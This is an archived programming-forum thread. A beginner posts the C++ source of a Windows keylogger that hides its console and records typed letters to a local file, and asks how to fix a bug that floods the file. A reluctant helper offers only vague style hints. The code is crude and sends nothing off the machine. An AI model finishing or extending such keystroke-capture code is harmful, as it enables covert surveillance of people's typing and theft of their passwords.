Keylogger (Not hacking, just learning)

Ok, so I have made a keylogger in C++, and it has a single large error. It prints the string that is typed into a text file, however, it does this repeatedly. If i type four characters, the text file usually ends up around 14,000 kb. Not good. Here's my code, anyone who can help, please do so. Also, I am not dong this for hacking purposes. I am simply trying to learn, and a friend of mine said this was relatively easy.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
#include <stdio.h>
#include <conio.h>
#include <unistd.h>
#include <dos.h>
#include <windows.h>
#include <iostream>
#include <fstream>
#include <string>

using namespace std;

int main()
{
    string log;
    string logString = "";
    ofstream myFile("log.txt");    
    FreeConsole();
    nextChar:
    while(true)
    {
          if(GetAsyncKeyState(0x41))
          {
              cout << "a";
              log = "a";
              logString = logString + log;
              Sleep(500);
               break;
          };
    
          if(GetAsyncKeyState(0x42))
          {
              cout << "b";
              log = "b";
              logString = logString + log;
              Sleep(500);
               break;
          };
    
          if(GetAsyncKeyState(0x43))
          {
              cout << "c";
              log = "c";
              logString = logString + log;              
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x44))
          {
              cout << "d";
              log = "d";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x45))
          {
              cout << "e";
              log = "e";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x46))
          {
              cout << "f";
              log = "f";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x47))
          {
              cout << "g";
              log = "g";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x48))
          {
              cout << "h";
              log = "h";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x49))
          {
              cout << "i";
              log = "i";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x4A))
          {
              cout << "j";
              log = "j";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x4B))
          {
              cout << "k";
              log = "k";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x4C))
          {
              cout << "l";
              log = "l";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x4D))
          {
              cout << "m";
              log = "m";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x4E))
          {
              cout << "n";
              log = "n";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x4F))
          {
              cout << "o";
              log = "o";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x50))
          {
              cout << "p";
              log = "p";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x51))
          {
              cout << "q";
              log = "q";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x52))
          {
              cout << "r";
              log = "r";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x53))
          {
              cout << "s";
              log = "s";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x54))
          {
              cout << "t";
              log = "t";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x55))
          {
              cout << "u";
              log = "u";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x56))
          {
              cout << "v";
              log = "v";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x57))
          {
              cout << "w";
              log = "w";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x58))
          {
              cout << "x";
              log = "x";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x59))
          {
              cout << "y";
              log = "y";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x5A))
          {
              cout << "z";
              log = "z";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(VK_SPACE))
          {
              cout << " ";
              log = " ";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x6E))
          {
              cout << ".";
              log = ".";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
          if(GetAsyncKeyState(0x0d))
          {
              cout << "\n";
              log = "<br>";
              logString = logString + log;
              Sleep(500);
               break;
          };
          
    };
    myFile << logString;    
    goto nextChar;
    return 0;
}
Last edited on
This is actually pretty simple to fix, although I'm hesitant to help anyone who wishes to write a key-logger for almost any purpose.

Therefore, I'll give the following bit of obscure advice: all of your if statements need to have an else if statement.

-Albatross
Last edited on
thanks, ill figure it out. that should be enough for me. also, i edited the code a bit... is this any better at all?
I still see a superfluous goto. You may want to get rid of that. :)

-Albatross
Would I then send the string to the text file inside the loop?
Last edited on
You can just use another infinite while-loop, no? That way, you'll improve readability a lot.

Furthermore, you have a *lot* of duplicated code much of which could be gotten rid of with a for-loop and a function. In the case of the correct solution, you might also need an array.

-Albatross
Ok, thanks. I would have used a for loop, but I haven't looked at them much, so I don't know if they are the same as in Java. As for the array, is it just "String varName[] = new String[];"?
Nah. The array I'm talking about would be fixed-length, and not of the std::string or std::wstring type. The for loop in C++ is the same as in Java, though, IIRC.

Also, please don't try any dynamic allocation in C++ before you're ready for it, especially if you have a Java background.

-Albatross
Ok, thank you for warning me
Last edited on
Also, can you tell me the key states for 1-9 (both on the row and the pad), Shift, and the symbols above 1-9?
If you're going to make a key logger, why do you need to know which key is which? Unless you want to actually INTERPRET the log of keys...
This is a learning experience for me, and if there is something I can learn in the process of writing this, I want to do it. Like I said, I'm just learning the language. I'm not looking for extreme efficiency right now. I'm looking to get as much knowledge out of the program as possible.
Topic archived. No new replies allowed.